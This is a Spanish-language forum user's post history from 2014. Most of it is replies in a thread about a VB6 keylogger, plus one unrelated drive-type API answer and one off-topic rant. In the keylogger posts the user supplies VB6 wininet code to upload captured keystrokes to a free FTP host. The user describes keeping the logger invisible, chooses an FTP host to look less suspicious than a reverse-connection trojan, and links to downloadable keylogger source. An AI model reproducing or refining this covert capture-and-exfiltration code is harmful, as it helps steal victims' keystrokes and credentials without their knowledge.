|
52
|
Programación / Programación Visual Basic / Re: keylogger en vb6 para analisis
|
en: 1 Octubre 2014, 17:44 pm
|
Bueno te voy a exponer el codigo para realizar lo que te dije a traves de una conexion hacia un Ftp gratuito, el codigo lo extrai de un viejo sistema que tenia por ahi guardado, el codigo original no fue escrito por mi, es decir, lo tome de esta pagina:http://www.bigresource.com/ No tengo con exactitud el link porque fue hace mucho, pero tengo seguridad que fue de esa web (por cierto, te la recomiendo)
El code original lo rearme para ser usado en mi aplicacion, pero ahora hice un codigo nuevo para mostrarte un ejemplo y lo puedas aplicar vos a un proyecto de prueba donde deberas modificarlo para que "encaje" en tu programa.
En el form tengo dos frames, uno con controles para conectar y otro para subir el archivo, esto reitero que es un ejemplo, nada va a ser visible (para el keylogger), tambien tene en cuenta que no es 100 % precisa, pero es una forma de base para que te guies, podrias hacer que al finalizar cada sesion se intente enviar los datos al Ftp, si hay exito reiniciar la db, sino resguardar.
primer frame tiene 3 textbox, y 1 boton de comando:Private Sub cmdConectar_Click() With DatosConexion .User = txtUser.Text .Pass = txtPass.Text .NameFTP = txtNombreFTP.Text If IniConex(.User, .Pass, .NameFTP) = True Then MsgBox "conecto xD" Else MsgBox "revise los datos de conexion, no se pudo conectar", vbOKOnly + vbCritical, "Atencion: Error" End If End With End Sub
El segundo frame tiene 2 cajas de text y otro boton de comando:Private Sub cmdSubir_Click() On Error GoTo errsub ArchivoSub txtOrigen.Text, txtDestinoFTP Exit Sub errsub: If Err.Number = 32755 Then Exit Sub End Sub
Las funciones (y demas) las tengo en un modulo:Option Explicit Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect&, ByVal lpszLocalFile$, ByVal lpszNewRemoteFile$, ByVal dwFlags&, ByVal dwContext&) As Boolean Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession&, ByVal sServerName$, ByVal nServerPort%, ByVal sUserName$, ByVal sPassword$, ByVal lService&, ByVal lFlags&, ByVal lContext&) As Long Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent$, ByVal lAccessType&, ByVal sProxyName$, ByVal sProxyBypass$, ByVal lFlags&) As Long Type ConnData User As String Pass As String NameFTP As String ' ejemplo "ftp.microsoft.com" End Type Public Function IniConex(Usuario$, Password$, NombreServer$) As Boolean IniConex = False TestConexion = InternetOpen(vbNullString, 0, vbNullString, vbNullString, 0) If TestConexion = 0 Then MsgBox "No hay conexion a internet", vbOKOnly + vbCritical, "Atencion: Error" Exit Function Else IniConex = True reConFtp = InternetConnect(TestConexion, NombreServer, 21, Usuario, Password, 1, IIf(True, &H8000000, 0), 0) If reConFtp Then Else MsgBox "datos erroneos, verifique pass, user y nombre de ftp", vbOKOnly + vbCritical, "Error" IniConex = False End If End If End Function Public Sub ArchivoSub(unaRutaArchivo$, ArchivoRemm$) Dim UpFtp As Boolean UpFtp = FtpPutFile(reConFtp, unaRutaArchivo, ArchivoRemm, 1, 0) If UpFtp Then MsgBox "archivo subido correctamente", vbOKOnly + vbInformation, "Finalizado" Else MsgBox "error al subir", vbOKOnly + vbCritical, "Atencion: Error" End If End Sub
En otro modulo variables:Option Explicit Public TestConexion& Public reConFtp& Public DatosConexion As ConnData
Si quieren el codigo fuente lo subi a mediafire:https://www.mediafire.com/?u84zjhl8yb3d5b5 El codigo comprueba que haya internet para realizar seguidamente la conexion al Ftp establecido.
En el fuente esta un ejemplo con una cuenta que hice en un servidor gratuito, esta el user y pass colocados.
Cualquier duda con el codigo no dudes en consultar, si queres comentarios en la fuente lo hago pero es basico no lo veo necesario.
PD: es un code simple y con fallas, tampoco lo probe a fondo pero subir archivos los sube.
Saludos.
|
|
|
53
|
Programación / Programación Visual Basic / Re: Necesito de su ayuda
|
en: 30 Septiembre 2014, 20:39 pm
|
Holas, Podes leerte este hilo, esa informacion podes aplicarla a tu software y no vas a tener inconvenientes.http://www.recursosvisualbasic.com.ar/htm/listado-api/api-29.htm En el ejemplo fijate en este code:' Función Api GetDriveType para obtener el tipo y clase de unidad Private Declare Function GetDriveType _ Lib "kernel32" _ Alias "GetDriveTypeA" ( _ ByVal nDrive As String) As Long Private Sub Command1_Click() ' Llamamos a la función pasandole la unidad que queremos obtener la información Select Case GetDriveType(Trim(Text1)) Case 2 ' Unidad de tipo removible, por ejemplo la unidad A: MsgBox "Unidad removible" Case 3 ' Por ejemplo un disco duro MsgBox "Unidad Fija" Case Is = 4 ' Una unidad de red MsgBox "Unidad remota" Case Is = 5 'Unidad de Cd - Dvd MsgBox "Unidad de Cd-Rom" Case Is = 6 ' Para una unidad de dsico Virtual MsgBox "Unidad virtual" Case Else 'Cuando es desconocida MsgBox "Unidad no reconocida" End Select End Sub
De seguro es el inidicado, pero ahi vos ves que te sirve mas usar.Saludos.
|
|
|
56
|
Programación / Programación Visual Basic / Re: keylogger en vb6 para analisis
|
en: 30 Septiembre 2014, 03:49 am
|
Si jamas viste lo de guardarlo en Ftp al finalizar sesion, voy a armar un codigo y luego lo resubo a mediafire, asi ves como funciona, a su vez voy a colocar en el foro el metodo que utilize para realizar una conexion al Host gratuito que utilizamos como Ftp y asi poder alojar nuestro archivo sin necesidad de crear una conexion a determinado ordenador, que es mas sospechoso, ya que si intentaramos establecer una conexion hacia otra PC en concreto para luego transferir el archivo estariamos usando la misma base que en un troyano de conexion inversa.
Esta noche analizo el codigo y veo posibles mejoras, te comento que intentare continuar lo que programaste manteniendo el codigo original que expusiste y realizar un code mejorado adaptado a lo que estas programando, ya que por lo que he visto programamos distinto.
Saludos.
|
|
|
57
|
Foros Generales / Foro Libre / Re: ¿soy el unico al que le parece una falta de respeto esto?
|
en: 30 Septiembre 2014, 02:24 am
|
A todos nos ha pasado alguna vez, pienso que nadie se salvo de esa "ladilleada" (molestia, cosa insoportable, algo que odias, fea, horrible, sin sentido, que merece una patada en la garganta) entre otras cosas, por suerte ese problema hace muuuucho no lo tengo.
Que rabia te da, estar escuchando algo muy pacificamente y salte %$&$%·$%$%&/&/("musica") de fondo.
Da para iniciar una demanda, abogados, escribanos, carpinteros, bomberos, asnos y todos en contra de la pagina
Para mi no es falta de respeto, es falta de codialidad poner musica espantosa sin que nadie lo pida.
Saludos.
|
|
|
58
|
Programación / Programación Visual Basic / Re: keylogger en vb6 para analisis
|
en: 29 Septiembre 2014, 19:48 pm
|
Tengan Todos un Estupendo Día he aquí que voy directamente al grano hace mas de tres años el usuario de taringa harrisonloco publicó en taringa un código keylogger que el mismo denomino keylogger avanzado de hecho de avanzado no tiene mucho o nada dejo la referencia si os interesa: http://www.taringa.net/posts/hazlo-tu-mismo/10731497/Como-hacer-un-keylogger-avanzado-en-vb6.htmlsin embargo, me determine a examinarlo y encontré algunas inconsistencias que me propuse arreglar. 1. el código de la revieja publicación hacia que el keylogger se encargara de borrar los datos capturados esto cada vez que iniciaba sesión dejaba la base de datos así: " " lo cual no me pareció para nada, y lo corregi.2. el usuario puso a grabar la fecha lo cual recargaba muchísimo el archivo de contenedor de capturas porque en cada captura dele con la fecha, yo quite eso. 3. cada pulsación de barra espacio marcaba un [SPACE] como esta tecla es mas que constante las cambie por un " " indicando la separación entre letra y letra. lo que quiero decir es que el código no es de mi creación pero presento las mejoras y el arreglo que dispuse hacer con el objetivo de que pueda servir para análisis de aquellos como yo, que recién empezamos a formarnos como guerreros de la programación contemporánea. sin mas regadera, tenéis a continuación el nuevo código mejorado: http://www.mediafire.com/download/ogaal5h7n0h27mq/keylogger_vb_ejemplo.zip El punto 1 depende, es decir, si cada vez que se finaliza sesion se envian los datos a un ftp, correo electronico, entre otros,no hay ninguna necesidad de conservarlos por lo que es conveniente que se reinicien para no "abultar" la base de datos y poder comenzar a salvar informacion con la db totalmente limpia.
PD: a la noche cuando llegue a casa reviso el codigo y edito con sugerencias si lo deseeeas.
Saludos.
|
|
|
|
|
|
|